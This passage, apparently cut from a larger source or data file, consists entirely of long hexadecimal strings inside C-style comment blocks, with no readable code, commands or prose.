504e22774f8a86431f971999a69fe8057617bdcb940f25b22c212e467e7d5060e2e8bf0c938b8a58ac88b0914f77e4125d669b3b9af274e6d08607fdf189a69f3d6f8a204c397becddfe6fe8a93a954befd5cef3e195f28a3db5411c1d777848f74347af887cc8e3e3f8682681adcae1bd1cf408240f0fd753008c33d7458fa66420586003f86bed23750b15bc091f091bb3773dc261ba3669c57679524bd6204fac7d866a5beffdec09e504d842dc88c147e005b8dd64b94778fbd16f832aa95aad1aa6fdf63030be6d6cb6f11d2a651dc48f26cf60138a8dc11e106102d30b0127b14af69f5caf0831b91b9de0b1fffa3f1e63d5193f3a1281ce92e473cd39ffb336e886c6df9779d25609fab8e766787bd5c1e46e50c6826ef753a28e741a450d4ea65e1b54a929b4a2233b7f38f016e1312f9bdd65f4cb2b8b8cc257396e659889af51d7a52934d6e7c40d1cc0d658f9b29bf9d72942ad9edfb273c38b4986658ecb6c81782c8d257544d098abb3fd4a74e99d03e523fb230ade45d1e7158f629e1c61409cd22bfe716ef0c001740450edea09107af758ac50c3933585f60176e8de261d43e8*/
/*46ef287194a4491a3a8cf0285df574a9147fddadc556c0be987bb4961045fe95d66e41aa9453f3fe8d3ea4d7c94648e935a686783a79533b8456f4d43d690863f107f376feee5ffc0c832a0c453a13f785f1684d14363636e233eff2b9f85c99c7d87940a47f73c6f63c82a5cceaf9015ec9291cc81047aa2c209bbf671cdf14f33874aef128339bc7cac03c18064b0ba8dbfd59f716ce9427b34ee3e001c93577eb5509f20a55ba8a29bfeebc05efff44eb237c3c60b543343933159533deb310dd1967314b3a39ef23bc3790da0fa5882b92bdeef3f6ee4a67fc5d7e8711ce40dd70bb5a3d1ab16d8b9a99550e3043b81b01eed567d39589205164b758101515ceed011bad52d354952e181d9922c823a4cce56a2eeee8e7b6cd37814e428d93aa7159531e9ce325c3df9a0d2a5ae6dc686bd0567d9510271f7954ff81e9aa8413d5576e17b54036c0522153bdac6756a51f55b14305b473ae1e81b4e5fdf6051968b335ac0c9f93d897201ed52816f4fce2a1f89c1322ced3cf57f8251ff3225d0b7d58046e321cd9369ea425c6cd10dec26334fc6b5d386f6d890501a316a023ea1c3a8d32c6049d2a9cb286d9691220b924b6dbbb8e8316123af0b77e31e206052c017810155ff6254fa2918da1775e826893f11b0cc06f4074a44096b35a3aab7dd3d49a2a7e9756055d9967c16da3e5edb4a2fc032baeaae0d8bb08eaf7e48bd88ab259db7cebed60c5b18561f91893ef080d465cfed3d6212c6142e58d2b36e7ec36672eb0e50f0475d6a01d051f3691c22b75a970e0ff873e7db4e069f8a54a9d7b4d644e8d2e886080c8b0d3fcbc4255309f9ee28f190ff1b2777682deed31cf78f5132c70e9502ca0f825762014f3adea481109f342e74df3244cb291f52d835d0036a789b37ba3064f6aed8d59833e21d2f9639df45af0b9ba07977f99cffb2bd2d09cf5afe9342d936a150c7681941ff905ee1315e305e07746435c0a5cafa329e6c00e09eb18fe0f460c4812f28aa8f8f93c2d42e7037de4819eb7d9b89f28015e17afd82891955f87d06ae6f7e47ed61034aa60f65f6052d27d4f1e82fa8bb18a107e583ccfd8c8b1660adda1e97e2b2bf61da13bc0dcbcc6a57ce26946cba02653ee966c1ff0a00ad0d8eadf0105d9ba2a8c37106e8b1a465ce29c27de009e6cb7902b81b62442ecb02cadc36cce63745ae4b36d2826ae679dc75e5c173dc32b55c3d011f02fbcb9eba8faaf6ea342143ff34c2d39beb4947347046cbcfab1c60c0bc59520cc7b25572c084b44897e39dde4dca00b11044a950e700cc8aa031fac6f7ca333d8966c7f21ae82f552f5631d299a7964a544f061ab45fbad8830da9b7a2978069bb407757eb976fdc1f83d4397a888b2c7d35481938c607f8d3555f4d950617426502b82576e939c2cfbc9bd72d1347ea4909bc7a9e8b30476bd16959c855401f3ca57243ab6f9c0acbf8c2a8faac4b39c87bf52d2560d37e6bf1708cc5b08a8a272c7deb8db8160aef59a3c289f5a761c9fe283d9018adeb76e4a0d37b2d8f11b200eb3f486ba5785e973e13f5287d959b1d0bde10710dee7758df1741dac41305d9dce476d455e7b91bd06e6d376ab9e409c2136b30ff19e9c1fc907001fa5e68f4e7e77b4a8a7b9240fc285dfba29a44c3071831ede2834979f12f2f2cea10fc49c240822c44f0576ac4438c6e435f1f9562c59feaddf35e0bc99413ee1f4ab267adb9dba374bbebd0a60164eca15ffc5a4afb81c6c622e368f825f65a2ceafd4cf878cfe4f556c5af8755bbd744c2993da42d84be837e20865caec562b27c0c927c4190b9eb044aa146cadbdc83bc87bd132eb9673b8b31958aa52d3eb4aaa6125fefd0699df611a8e0fd0245b8c934f79bbace1d00dccb3c8f9d1e203a9a6ccf3aa0f1bb77339a863faf82e4ea4be2d7c9398a8b7547a79c311a905a9b4633e9ae40a47a7c3290a6a515925b72a6544b815b5ae8ddddd1f460a4c8ce2e5219d5d7016bbb4c62efd4cf1d4e7489b313dfefaded92d62f4144eb75880569b656fc959741a2a2a3052a6524b149a6f5f028b62e02f54ca6ed0eba2b0b00f4ca53c2a8b31e5acf0f7f2571c3aa3e3b3221fe9b33c4a9616b5c8c6a6c481102fcc37f688cbb4ad3d2de94db42cfd97768c0f25b6eced8cafcdc5e662bf432560feabaa8e47a4d3949ab74aa27391f6c86a4209adefff4cc693bff8597229381317a6314c52ea445b88b3c46dff816881ce49930e5cacdab6f5693e9ed75669e120d102b654a7bc4ff296ae38fca974a4648dc10e86adbbce59f88ab5d626d35f235afbce8bbddf9cf8d33360890bad815912f8a523100b1442be5ae09432a4d41d5392fb631905a813a47cabeeccedb3bd8222c8702345d471b369d8eb34684a6dc7aac434f1b4732655d0edc010eccc73420194d46a4a9f96a5e1c79297a939c41fdf6e85cf678345df667cef45df02be8b9bdc48f3d854dc7a818d76987ac295d427c46d713f6b476660bf578e1b43c52f76e41e71867d7c57def2d09654c2361de3877c62b6f00432bc4c8eb7da7d2a71f7e192b4c0ccee302f501973c45c5926fdff60ac0a390aebb4048c6d7e21e5cc6a16467e4a240e4d233fd847e940d05cb771fbfc0e5d58555f18861a216c5c11519b6df53f146ea70dd5f91205825edab427bafddbbb8e1e90f3aee4899bfd191995213e4c26c6e0f597fda62ccc6e399f1d716497b89822ba958ce2f06ac9ba16bf7282f9a0641d34945b8a1c893b653ea7d5405af8f559b2c0d040f52ce27443e682cd36290b151409f2c05033812ec8*/
/*c8fdc8664797735db3d3fbf9111126f1fa629c043feaa998e0ef5e5c75063ae02332d4e586847b10625a7b97713c5f0083694da5b77645660eb96d6a5d6db7061fda4f84d0ee2cc907ea33da9789476e039b75829be357838f46028e572463e61c84ef9378c9acbf52f5511869b068454ad4c9d1046491271f62abae2fee1d60c524230bf78d7dd4d8b68934581f43d1624063d752f82747124695ee32704a1ac248161c73a21d98d2214f6bd547e21b449e6b7d0098e44a23df244893e0274729b0d0528e7393f3b41c6342b5e26882e99d85017f31ac6e5fd3d342d2af2f88bee842fe0755db8a0efdf90b7135c38e0b2c633deaf6c8908b982b62de0acd700169a1b307a6a6ae633cd71c12c2f1b2fb51858d5bd2d9c8f16bb8bd5826554442b54b9b6614fe835a3a5f0b113ea0617bd8e547745c5cb95bca3f0f8f8dac4ca4874cc4c4ba9ab7ff7c1f86810472d7090934c121f7acbb304dca084e9c49e05cda83e59ce2ae8eec13681700f5186fabe59bc7dcaaa5fca955577fcc6a046428cb74b67d5687a2855588f1b8cdbbef2bd31aaf0aab139fdbcd10fb7cbbe6c20cfd0e4edf6a7e5efbc42e048390c7b72e5136a6983301a0de9ca23a25cbf1f1f34a45e6ff7c501f88b7597e940b6ef644e9941d9eadf79f81afba6f84a86e0d6ba15d90d01cb322b09c0320f2b91ac64171d57e09dea68f15ef303a2d51ae3c330e8201c1a30a6f37b84b0efd5ac729a4bc6d8e3dea5d7902a11a2b1a1492f26224fdb5db059906c697a604def1b0bf8d46ba4d362ce4551e4029958044eb603d0b6445148970dccac8734d84185ff2f32f2cd411c05879ac6b645a68a355364c3d271cbf3e25ba418242b3093ea6ca61a96acad4b1756aabd2da6c0aa68b05dd0ab7668ce4704242c8fbbe51d95cf486c185c7f1be56b90e4126c9e2d52ab6abe81676b0e1f8d93963450d641b4c82fba4770f03f15cd89c2da162b68a4d751f8d46bc5326d9e2e89b5af802732319e86d3f4b6337d3675e209b663a007741577413815d5d42eaa910d89cfcf8b229e3692b5d3dd03594a638c064ad852f16ef80ae5d397a30d4b1dbf3e52bd57726e01ecfd371173856714d72b5801e284f9a70f9ea1ef4b9fb720c4f6c534880b951cf716f81882dff31221097f4ad8cd786caf46d4d1a97feb1083627f3aa9d9b98df0bd1bcee32b28714f86dce1ccfa53dba6c6fa01660df7cbda604fd556ed09c1181e065a88b175a780af1afe451438f360ff051408278a097a782a392b633a7548375d48af87b32cff5cb6d8a45bbc08c19d752c623b7fc62d46cc865c32dcaee3665f7094b06b368df7d08e481232f8b7136dff2c021338dc5fb62b1e67cb0d81e8fd49ca8697feb8bf4f296eee7b497aa8c0d5ae6a9782b190991ffe0b45689bc0160a393cf1a7a04168809d09f5ba47ef18b5b79feccdbac332f04ef4689e8b30e5034aa80a555dfad541e0a49063d04c8029020a4ee02a0e6b4a094e7e7087199d9b05a744dfaa630b7540724f079a91b0bf138384ee1f2815ae5074573ae93c0b9d089b61453fe60704c118263c55b4f93990b6744b6a46153281559b46e86d459a714a44cf57c6643a91c716582ee845735d834da3c297e68539a19686d07e89fea7183574768aa4355636a833abe6e3386e50990af8f161bc7a60d85431f365d3b8f03b4bd5f86d060dead7124a31ee7cb9be18adb1893340f5cfdf27eb712a77d7a7b300a02b93cd068f028d5b868bc9c80d1406d39efeea443b4d90dab602fd10fa619a6876827e22915f29e54bc5798711e202915a5ad1e4d250c5d5695fc63b301b1771889f49f06d576af4bbf60010a5b1ec8e8b3bd3b18a54324b8c109b10d54285119c3a889606d75b9afcf49bd3e7772547e7d817c0030b7aa51767f0c04fab2a7c1740b04300d4ac4d254c3334ee9e9df2f0d3dc221c4e17857b30b6aa85157b020dc223d53e13a103c4a72f9eeef049d93554d6927278ca4b4cdaff7fac813414ba4c295218858c42c0b0a185f4a90092754d81d8969a468771e4956042df8d74a57df6af558b0ff2ba0facf9cd9e1cd742b15a47997e8312dd82a3929c27938c40f57507b73a3e0f2332ed2e404066decbb1eca8cc55a88c97697d10a9d4caffdaa8f9e1d2f7aac7ae223570c34e622bb593850ef1623cff5c942e44077fc01ba16b4d241c7ad26d40888b0ebf1f037e7b953d61f6add5a0b9979a4c28b90d6094f2899d6931b9edccc13c072cb0791bf0840939d5bf7b16f4a6220a75a436616affe9d747395913238753fd17f8ad9651679a1bf56a891490218e6af84141dcd3f098abb9d21bbf99cc2c0684510b63056c189ab9d4426514bf9f0f456a73b93468d934f2024fb74dd8666a86364667cb66ae2c616b80c4fb4e2bf2b66b0cf2dd7e6a97d98fb28cb6b97520e58bca3e4cf8beb921ed4021f2c27f644e93494a495d2a9e3e05e4260450ad631df464d039d860787f3977401cbd62678025181ff78304f00381b016a4288e1cc141ba90e3cb1166a59d2015bc1a92b8555582c9c5f2877fd15145580d6461daed0c84ccd9feb199920bb0cc91229236ab602e6931bfa068ce933f7664259c6c2d957f0851986ea82c5e78d09da4da10bd3e7a1e4df7c2b710168d32619de9faf75218fc4336cf92e8ddcdb648e5919c8dcac1df461a23c6565ec48ed751cb5e967b654a507c4ac5e36932554e37f824cc4799eacaa803fd0947822c1304b6868bd7d2d7a6bd5013d785e84e2cd950e5a6a224f43271029028e099a2f99bacdd7fa123a5b9b2df78299*/
/*c3f053d553eee2ce53d24101e43c18ffa6b62b5175a4744d859f4a1c1556d70330cf6b3c1b81e05781c0c4549da571e7c627a05f8390c69e530ba8e0154369fa96de43e78aa1acdb85c902b0a3fc5d97dad522f24a04cb217ea2d07e0e36e7291fd3e0b14201b03f2f5fee098f9655f221a3c4727b90f645869496d9d2966cbf6c5a2eda8bcf89de179ead3a3d150bcb98bbea4d2ad7b5bec30f4545a624847d0e5f09019db06d8ef70b13fb44c10d4d922b987db8d368fc8a60eec224c299aae2f9517d3298f996d34f0e1ba31599f07316a855be507ff5b395be8d1206c41cce5e87333f32971cd1fcb6a15f0135e509d9381b97ae3963f41da0018b349171fcbb7e0a0f564a21aec874a053be569f9da5f708da386b6b4fa279c12d12e34e33a764e72c51753f624d726898ca052edc67ea28255bb7f5921f5bb13f204ff905ae0ec4543ad3a257218fc0788e136d68bcdf816d0bceaee0159c4986e0d73061daca9f5f4371d4e0d62f4657a5d9f2bc9e1e0646988f7861d9d3f9f99130e8337cbf0ebe99b44e4e1308e66fe83c091a50474af09e6b507f263536cc7038535444966d2bbda6f3b8fd7c624e66128aaa0d777832c66c685db595182e1672e4cf46fbeb33b7ba606d5f0a32b06f885661ec566845e9e512f6eb9d1acc4cffb8070f754aefe3262d55f72219426c9c55c01c2b6c59e36fa700c5676acca1b39cade7aeaede7696fe4d4ab36aa8550a3390b059918cb37fb0bf82c10b7905505a3a7b450bfa39b29aee054671c9f9f63ef64bcc8a0ab1228311f19fe90ba67776bbc148abefcf3c3ae149a584f408e1404a4292db30800ea368619dddff153fdf01dbf1e1a4f5165b02779ca9af5a172d4e9e763a0b16887553a430f1bf0a45ffc80f579581f95d0d641750cf8bd69f186d5a55ab2d23cd49d8a5aa3b1bc326248b8ba96b99fde04db802463823a2c2149dda516ebce42935a5a593acf85ef3fac331fe33f93ce526d64a342a838ea49a27f1230c2d3eed67d34a0d2f3edf6b5339d9dcfab0029766a4759b90f05d9c15128a9c8f4c2f6c2ea3341c7b03a891eb471369ea54ae6e478748d5abbc841611bd02534dfed0339a13f16e7044aae7ac6bb8108ef60ff01ea2c71719ef7c3cf5d3d7c901e554152cd743a19f07e7089a243adc6a1bc2c16ddb0e94d2f444b7a1016c9ddfc57e45ce3a02fbfa8026b25b4595069a17c1093d968f439ab7c219386d86c3ec052eeaaae88eebb4bc1dfd5b37f7e08e51f22bc41f07bcac58af06ffcce4978f191f336e27d92824fc3f68ea708c525f597816ea342240c3017d1bac5776ea0b3416024ede2793d2a4a751405d8bc1a71ba6db60ff6f2bbcec4102675c1f3d5cca4dc1a45ca1ee39b416cc3ed682b561d69ced08a3f564b67d6c5a4ba282c1d9629c82c260f7dc9f9f7eeaa7c3c8fff00284f050c63a7cab727ca19c69bb24486b541c230bf1728329dcd6e1ba7912e53fb624cce0dd2e4b500e806d89d0df7f7f8aafadc48d38398199419365c43c042a86b609fa80432eb625a362b632dfc793f4f599ef626ef1ad7ebaa3a60f36b5c26415184fd5a9370b639a0f766ea996b26d3eec52122839f4cc9ae8b55e15089e6b4e6c51603745eacf09baba487c6ce20b250a1d3103b8251db76893e3cd7821febb8bd5099a58a6d6550e1560bbe54043509f030ff423f21ba68cd1fb9134b6d2cbb549bd1567dcfaf7a709ce30007569b7e47729652b8b2348e15159882d5f57649041639a63ab19a0c2234101d7fa8aef88164555f55ee293a8d937d4f7cb0d806267a62ff175a669fc76706ce73cc6c3096d0e26d49e324a5f4f69dabbdff5d426913fe05356e43880d3dfa0c69aab6b06bc4ccc88fc1860a689678c4a3670743e37db257c72179435b4d91d8c9a089becbd4cfa8bb78cf96c6996e1cd012d8aecb1d987312b921eb72d846516e09b71e717d15a80eedec3b1317ec50f2490e497395545d26086b3013be1b120c88e82d0877739efac30fab675c71a11d5dae8fa16beca74a09b5f06bf4a62a60eeacf5eddb28a8063ad1b071d97f11ab57c20dfa492c80870d85177e68a175fd1921b15fe6c7fa01d993a73e08db060b8b387580670388033a314f2f4e3fa1e187b865bdf8a34259645e82ecf6536e8f81837c91be174e62854835ba2b5e6d0ca72946ec8c3d5a329a9a2ed036cf89321e244ce729443fe9837049107759f55a38774f147a273b5b48cee5d5e569707ba247610fdade9c16f6e7ccc418e28eeeda55579a7c9ea07ad8e802b8334eb6ba84e3187c7870e0e2d6435d460b1603ff398c31150d9c200effe8f2cbbd00385750e3a27830389d28139c8050dd2e055044a90fd483106b3e2f91dbe9eed5530d61e02abd61436b5ec8676dd0dbdc0e970c00973a0431268cd1859f8b3a44abc0986b1871e4587e25a90de8fd7a76f52f90289b0d45a1e2aaed3921c499e686eca70086b0d31dadc32b6baea8383d8f8a6367603c0073dd490624ee95c2778c1c0f9d1b7964a0c2d818360000bab3d0d349ade55504351a668aeeec833a9b80688c96d0f2ffb224e9126d5b642ee97afcaf7fb0a432a42c7a0a67e8f8aade9ce3945f38c61c5284757361a99fdbf3afe36fa9cd182c57d63c96ad1b260c7da7798102f77eab213a898963d873fa0219d1ad0d74cacc00820a70504c151e1727d66df8f490e6050da8b63c579e0503d6cb31cd8f5e6966958eba7c236e6dfeded2d75ebbab8f8dd2191f14af656bb8e4b38e9ab3c2808d7094d314042f1a24e9f887137c3031aada339241a75*/
/*2d409ce5fbd53d0659c15b83d51afb57c59f5c99c10644e82d730b2c05faf4c5e5095e838f224bddc3c1399314e3a47d295b5163622904d03682a8f864b86512c582b80f5720b0969b5d226202de1289cc8babc9f67c6d67ee7e61968b06170f1982ac0d6668dc35b1ceff17ec99068aa482c0706208d43d7565ef19bacb200ebf0dfa1eaf404fc504f4beff0acb90a1d64d96ff2f04b7a1021a4f7bca1084b593b793f3f243517517b947b543e92da566a12d0d501eb33fbfbf4a35bfd34356c55c563cb52e49705ef65343363c8f1f7cac749c32de1fdd0ea0b4d96c6eb9f833205b06aca2d41140854923e7c03593cc15c47f79503e194801c09a122d97a958e3bfe8fa16460be75e0ec1757f99d92eef88d864ccbe58e8af1611f6bd476f7e5715834330f30458d4ebd059c2a4a38597f1cc90e87b904201d9bb6cc09b1547300785f79a4cf916fc7893bbef887e5186cae9a4bd6ec41215eb86a869f8ac6aeb53dc9e86640c37e9962dba60322eaaa1043720c599608d65190eb43e2e2f471fd3bb86a01d33799adbc281efe71552dec54df4d091779adcb573b335595d7865ecd21a793a15f2e1bb0d103188ee4243fd478f439323b105c770b69bb6d5b59622c2b69935686364b4d229a1a33f10dbaf6e55483ea1cea12b0e8512b862a6571584f084d31a96a05dad0a79dd09ccb4e9d9109dc51e443962879449adbbfba8d263b9af5b5836dd18a3b48f550c0e0dd9e037524f7aa0b10bcfdd194017367cf04b532461adeaeade3783237ea7d4cfbaa07dfab96a32a39769c41d4a47466c0d2d647d405c9676d613b88aabdd3fb2c3a4aafad62dffce57e99b774d4a3eb480f09f642b154bd2fcb64040af8daa6540d29b144bff608970a3a49a28c6564bae233a8c66eb8c6da0beb6c558e0894e26b920a0bd2b70b64d58b38e901f9f6596f8b39533733c1b49947656bdcc911905ec8124393fc3bef1827a093750957dd8135aadeb2a1b4dd315f3f48e1ab626dc59e74c6566a72ba918046288ed737b191a7358b6eab9155b40839147e39a1a67774076469bf4fe913f4456d355ddca897587108fc0e83b93eee0b3dcb44db70c510cb4c315f758ea5b9d824f172cf3f0c2a3fe7d5fb5c164f99c61a3ec43257f6611b73038c90f6bfc58c337504feab1effe8d4eda6cf993e98578501b7bb5f5dfa927f15fd66cbc0c0f5b0d011377b8829ab1d6d623ccaae6cf9c5075197eeb263629f6bacdd4dfffa6bb3c0b5f965e0911c1d94f87da045780c19c2651f045ad7b648f5ca6e5d9873e66c2dd4d67f468f5919cdbf7cff7edb20ce3dbdf5ad52926a5615a8fb9084634c6b95347ccd23428cd200e0e3873e1bb666d22aca02034ced483e1d49b6feb44fa4577f9df789f32a21d1a0c544595aed9572f0ff16d3d321894ddba5feb836d9babcd747404e58fded148329c14d6628add96a9e9197d3b72cde2ccd329a54712bc981733dbd6eee3e0cd7a8ea55d3318eebee366897df6c7a406145877c43643696b9d4032e112d8e8de8f0c99c01ba7791b454e93aab7aaf399f8b2d2044c7ccac2eecb84357750dbd9168edb8fc2c9f2c1d19c069e50a9d7a8ab7b135bfbb8ccde8368ded2636e2ef5f9341ee445566ae77f9bb8a95aa8ba95366a80ce392d6275e189274e66c1cfd95edd2006531ee8d6dad573ea3c1f485c5ca44eb351bb8e222bf7b1ee6358015bdcd028cdd51999d0497617dd196ae13f1aa74d8322bb6263ebc3f74e145648ed8980ac9feb9d0f011bb8c49ed93fb602ff330d5e13084263b61b191559d176c1ea2243a5bacd5bf6a1ef7929599bec48af69be9198c80fb0b1ddcecfa3bfe7fa4938497a6cff40e205e7720c8ad74fed7d9263c6d77aa3e414c7a233232f696a137710d3df90e8f9b6f5c0a9cc1aee0d98ff4163cb069645bde35f25a36cb64abdb9516592e314252af9d9e0e0377013303eaeaca19bf8d99385c63b60f6fa32906e21995a1f146c5c87003024e48491f687dc191c11426ae4f62327c2df21cee71a7eb69e126b4989922792f9672bc53c54ec27977dfb8a8c3dcb832fadbd3f4d59dbc8112e151e4081f901d17ed5ecafc2d5fd717c5fcf96a47ddeaebe375b56e3fd6a5b51fe449ec300b6172f34a7ec94919494a2ec81c8b7caf1f43131c97f1d003ea99db633fa288b5f69a2cd0a203ef383f49d1e5db8890010be9c55f7611b82696a9bbb1919b808b294406925c6ee5e99cbcc99a5b7c6aaccbb057b2587162586cd5c0225c2be38331b7fd42a5ee03217ec0676060244d87ee857fc0fc29218d2790d536d381402e478501704382798be02a3d391f3a05ccc438075cd0bc606fafce61f41b00b690032fc49ff643343be84e688b01972df2e698397dc4786a269871ecf7af5baf4c2d78fe4cd7818ae1b6850af583e7175a9d909f0d155c1a01a7eb243ac7ec5a67ad76a0c95a511f80fb02dbd08b4ebcea62fcafaba0f9f120ae7ae658d28d299ebe78c01efa13cb9c036c1059fe53f5db107888611a13d02ad6d39e7319a50b1448411fa369bdedbf466547b052a9216a89dee775d0399f0aa6f9d2e330118279092f93b08940e6a9d1ff88ef8e79c8fd6df31c34c2ac394ebaa05cb91d6e4da014ee923fa2e65d4a3362d6feb311f5e05ea55a95d3b1541e808759c7580a72ac7f076217493c8b0208a145f403d2a473d759e25958ea63934d049e9e21df81cfc92e7520e4b144e638f1962c505c16f668144686fe9deef63c7c1830011cf7e029c80a1f7a18ab2c4a04860151beb32cc5a73bb8ad9f607e7074041a9*/
/*8f580c6b479c4e604615c51fd03f107c9d85b60e5ba70b78781824f367731890a01a1e605cdf144e7edb4cace3cdebde75d19f9df0f5630bcd60d1e4b5f6d4ad3253e55cd0f0640c5bd232232d55935ec6181dfca45004de0cbcb5ba035c7abf8e1c7986638665ec0d09a4a327224571f326137ee134b73e3b38e94efd7b71453ed5da819f53be027e724865c554d29324ff41cc77899d1995e16923f7f385520b16de7f175951b7b00c522dfdf05a30f40a01822758a10f68e69e7cafb1e0c8e5d809c12c693c584cc2c8fd05d4206fe8ba93d5a2b77c95d5589590a4ee9dc06dd4880e96202d9882518e536119d312260323f952074060f7232cbc248450eb6f53811bffd3a23c215a9275d8daae363eb538bf8174deb1df259a9b6e2857bee521d8ed70215afc6998a2a92a227a67a3dc04965154d2842a097e370ad8f4f0d9fc51204c7f11a64d60a086c17d85722a4194b108220f4f658b14fedca1f9a2d91ecc48b2bc32793c0b6ceb35c606ed0311bbe9b38ed96894a7b9ca678808f25fc1ee2314f4b84a578699de5a8ef69b97d435f003bf51a110a1888a5e53982c724c7f6ecfede56f846a53d26ce5de5bffc4e724e37fad3d4032db1a4b8828d19be2b08eb10e9a01b9f14959d2c2b1fe350a67796e7368812a64a2485aa5420efebafb020fd0f98996f491f7494df9b967f063077024427be21bc2df7337b570cbdb7c752bf5035bcd1009b501839abe86cad91979c392f5856905a2221fa7631290a58f87e36ee54340dcc53059ab4105261937d6e4a72e267928ff2031d0e53a553b8e1b04728f45406a977c063dd6e29dbe51d8d9dce039b7a0bf1b538113b07b827104b5ccc02d58a2050718a4b5cecfe6f3d12d6e561929a94bbd19b3b5d2a7a488e280eb071704d8df26b2c4d8fbc566886fc5914f9b808ffd617da12d2c3f186d10a1bc0a35979a148f9de87908b07fbb50087747f29ecd84b0c99a680816fbef1417c0bb979cc50f4d34b14b8dc2be6660b922aea62d56dbcf2e8534327dd5810a0b42da437ec7178ea0ad18f43c3a09f1a8c0821e11f599ccb5453ebe3d55536aa17f9e02c877cf8fe34ef0fa0686d0b52ac5928c3f38a7d0972a02465b5b836ea6985a7a6773fa18ba70b2233f23415c1abfec8182793b0ed282edb7bfa3560954edcc8b10e3422da3118b28ad8f066505bbc563b8fb7c7c6ce13cd8a7a77bbfa240748d4b03b1ca61b5629bba4aa3a4f0c538c518fbf7a32b877cecd37f92125349d32b3a45e9277a14a012a78d563cd141c3fe1a533772e7a9fbd1850fa4b676f1a3793b7ed586e7ff6ba20928a5817060d282b8c0f35d0e4606e757426ea15ca2e50a309d85c428f5e0310de81e1ad9439b42a7daea4aad137bf33444382c81408b09bff5ea3acac5d34ede2b56acf62c7f7c30fcfb9b0cec2a67a607e013038d72fa5f2d0486b0a7536378be84314d9b546abe57a4d9f0bd2c1344b0bac3a3a886f942481fc6259461d7a2476e3b25afa66e27125078ea10450bf2fad4e83f202e6dcaf4c4b6e70b41a6d704751579d86e1812442d8210ea4bf3ee9f9623a22918512932e1c15864a1d4fde2ac0b179a0c181a9631197324df6ba50a7822adf235548de2a391b9400daade70ead1b87456600dc14c179526f28675838fdf1e078d27b5a4a0098ccb4991e4d232f12454b611b791ba15cf13dff380bd4cf34b6e1832b913da9035c73fe2a26de6fbfe48778e3e483209d1b20d393d482ead451555a4c3162a69973122d0a81e72a30d60292dd4a45c4157eba465d4388d418133a178e34928e4155c802bfdc90604acf2622fdd5865b9377c2659af642f6543b38179d9de08df3d142198d8eed8884c4284ad76953c3dd944a17b92b54ed6bfce78045b7ccb0d3bdd02ebd61e6a0a7981661012c5597508353b390077ac6257d7d07e8e97e22b1ff8ddfa9464e8a2ffb3e95fea7b1a9313bef0715304722553e6572cb0986993704cde841c4473b94a7e65fa19ab809e27d9e823fd6910812444b1ee63e0b5c1db0aa50b158694e85ba70b717ca6531541e88be8c278aa1f9b628d5e4ba898e547ef654cfad8bbe3810de9cfd1893874477f0b5e3711aa5d55ee9e0d071d560f4c149a6f183e8516bb39689dce4630a9559c86de65196c0f3bc80f71d68eeace9a5c7ce397e278d46ce1df44937a4338ec9e32e33ce3b2749522798dce7ee970fc100e8fd2ac8aa0469e499bcce35701817e3c7fbe5f67069e805e42903c09aa944887eeeac71bebbb1ceda7aa3f43de4da15c82cce5cb65a632f7fbe78d727258b738b125a738445b11b4bf551f0c95b766f022ea1ca0e4a41077aa022732c895f60d73c51e406e47bd38723bd17bbab8659a08e21395a450c7283c1e677fc9eb23427c563e9c4df40a0955c80f35297aac7f9756b95bec4140846ac805733ad85d6a42b6012d8122b29fc72135f4014ba75ece175cdbd96e5e8fd4556411235c79fa0af009dfeb4a183642ad1a004610c9b5eadc09bc744aecf229844806d7601cf90c88b16c348ae8e4564e869b7abe81593a50651896c0715278d62ee6e85138a75c92b53f5e7b17a7e300950ab1f9af69133cba9d12061dc556af16f8af25692b35f70c02ba61cfb0676b8dbff2aa7184e7c2882748042d36463fc57b8c3c3a2d2a6bb195cb0efa0bc2c3a6176e714a0b02dc20abb593871f6ea3d438908b4a926b82e63210b85f9b948801085de5e79d6c3367a80e832842a105f68719eb20894e7c7ddcf79d277300aadeb355e4991c82aa9eacdbd8ac4e00194b38d597f83f*/
/*f3ad46f7d513a5e266a4d5254867775efa91d9a1fa93410a7f3ca0732f62b9229ed70e707ab30536afe4894b0c11e0a0c31fbc6ac0326a26602342a4d2f9779cf70cff89560969f40af83fd17968d34f3971a89a6e801a800eb790b94fbbd611f128b0c1e8f345d8becbd385d62252d27bee55b299bb7bff74c7f8b16e67a58d60fff36840360638a98c1772389b0a9ad8563eed801f906b8d4fb2b021735207408b5ce6b6e0228cc91f9d72cb6733c649f43ea20ceedcdb426bb6faf515340b052144979bf0763d9b333ff0be6820f1d7264a85c7bbfb593ebfa65e6b4d4a65c95e9a8f29660bd654205fb99f9543a36b117e1018221749ddb6cadb0a5764534329a753a5dac95c6eb2565e3ce1ae070598d1074d99e78bcc3c553d0a60f2f88e374deed8b5716c2f70f093d1f2fabe95b14abb0de24124ebfdd8682081ab477cf3f62c282c63c38e29d51114909850d706973ebc78b573892c6cd081ed0e14a95e387be5b218638a53c78520afe63eed1d71404aed4798f7a4c794911d8d894814f8fd26d7fb7a0aae59628809776648846a6f5fe56d08bf9e093b7ec3b446cd179346305788d79d141431b02142d921449f36147decb04fefaacae4dc8bb6d12db511327d3d698319ae26235b36164abf982250dcbe475f7cdbb8a234ac9df518cbd80f34e29b75d6da7e1743615fb22bda222c9cddf780e5fdd3aff7fb916acd7602ca32ba5b143e6bf1dfba6dae7232a048f46aeafa147506b005ea9e0ba88efc6ca59181c2f21ce65f07e866a4bac6e1edd96caef1702d01862f76446975923885d98f94ea0519714eae140e0c7e9efe4ba0d8935a419e0baddade831d77c3362fe3c729f16e626b573cc05813c712af32448f56a62642df64a1e3ac9bb6a502fbe39a7b489bd53a028f2e3352163fb85794baf6a0f87b90a5ed0adc59f9ead0394e28da9f2327fce765b8868a45597cd67feeacef5feffc62669cb567598f3c02ab291fc48239a58462ab0a381388a3e4417ac168e80fd1a4945f2f8edaddbeda1ce591b15187ea39a631de01d1e4839e1253984228290addb59fcfa5c142c4b88a8e948bedc2630579945ba02f81930515beb478c11dcf2731fe274987a40fecedc86003ca7430781c76c8cb9c0a5fb338b95705b8ee1a5514ba3d5f69c10c5dfd52880b80b298f471fc92a5267c0a24a41e29851418fcd4bdf03a7a19fed7458c53484a4aaf5464ba178330c6855a514491d1df1a5fa2336a1df81e4b11797c30f3a0b4766e5be0c3f8fb1fbd076e3fdc8b325a74ced8ec20bdece2e2934317df42e9c7c0c08b95d191a28178a3d14ea12c6bd8ca59e6c9cc4093575e16119785b48d62050f1681cfb13b8a2feb31f98858258f6532e557060bb354f5c2696ac6196ec4a32f56f906dcd1439f7efe17f7cc9fe48579048a93f97a45a7e7ed743ff26bb1d14af93db28f4ebb57d50fa45cfe5fd62b119d268efec786db0d68f95fa39aeeca33cdf2efe969eb4e70830e34